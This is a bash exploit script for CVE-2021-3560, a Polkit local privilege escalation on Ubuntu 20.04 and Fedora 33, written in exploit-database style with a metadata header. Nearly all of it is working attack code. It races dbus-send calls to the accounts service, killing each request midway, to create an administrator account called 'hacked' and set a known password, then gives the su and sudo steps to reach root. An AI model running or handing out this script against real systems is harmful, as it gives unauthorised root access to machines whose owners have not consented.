# Exploit Title: Polkit 0.105-26 0.117-2 - Local Privilege Escalation# Date: 06/11/2021# Exploit Author: J Smith (CadmusofThebes)# Vendor Homepage: https://www.freedesktop.org/# Software Link: https://www.freedesktop.org/software/polkit/docs/latest/polkitd.8.html# Version: polkit 0.105-26 (Ubuntu), polkit 0.117-2 (Fedora)# Tested on: Ubuntu 20.04, Fedora 33# CVE: CVE-2021-3560# Source: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#!/bin/bash# Set the name and display nameuserName="hacked"realName="hacked"# Set the account as an administratoraccountType=1# Set the password hash for 'password' and password hintpassword='$5$WR3c6uwMGQZ/JEZw$OlBVzagNJswkWrKRSuoh/VCrZv183QpZL7sAeskcoTB'passHint="password"# Check Polkit versionpolkitVersion=$(systemctl status polkit.service |grep version |cut-d" "-f9)if[["$(apt list --installed2>/dev/null |grep polkit |grep-c0.105-26)"-ge1||"$(yum list installed |grep polkit |grep-c0.117-2)"]];thenecho"[*] Vulnerable version of polkit found"elseecho"[!] WARNING: Version of polkit might not vulnerable"fi# Validate user is running in SSH instead of desktop terminalif[[-z$SSH_CLIENT||-z$SSH_TTY]];thenecho"[!] WARNING: SSH into localhost first before running this script in order to avoid authentication prompts"exitfi# Test the dbus-send timing to load into exploitecho"[*] Determining dbus-send timing"realTime=$(TIMEFORMAT="%R";{time dbus-send --system--dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType ;}2>&1|cut-d" "-f6)halfTime=$(echo"scale=3;$realTime/2"|bc)# Check for user first in case previous run of script failed on password setifid"$userName"&>/dev/null;thenuserid=$(id-u $userName)echo"[*] New user $userName already exists with uid of $userid"elseuserid=""echo"[*] Attempting to create account"while[[$userid==""]]do
dbus-send --system--dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType2>/dev/null &sleep$halfTime;kill$!2>/dev/null
ifid"$userName"&>/dev/null;thenuserid=$(id-u $userName)echo"[*] New user $userName created with uid of $userid"fidonefi# Add the password to /etc/shadow# Sleep added to ensure there is enough of a delay between timestamp checksecho"[*] Adding password to /etc/shadow and enabling user"sleep1currentTimestamp=$(stat-c %Z /etc/shadow)fileChanged="n"while[$fileChanged=="n"]do
dbus-send --system--dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User$userid org.freedesktop.Accounts.User.SetPassword string:$password string:$passHint2>/dev/null &sleep$halfTime;kill$!2>/dev/null
if[$(stat-c %Z /etc/shadow)-ne$currentTimestamp];thenfileChanged="y"echo"[*] Exploit complete!"fidoneecho""echo"[*] Run 'su - $userName', followed by 'sudo su' to gain root access"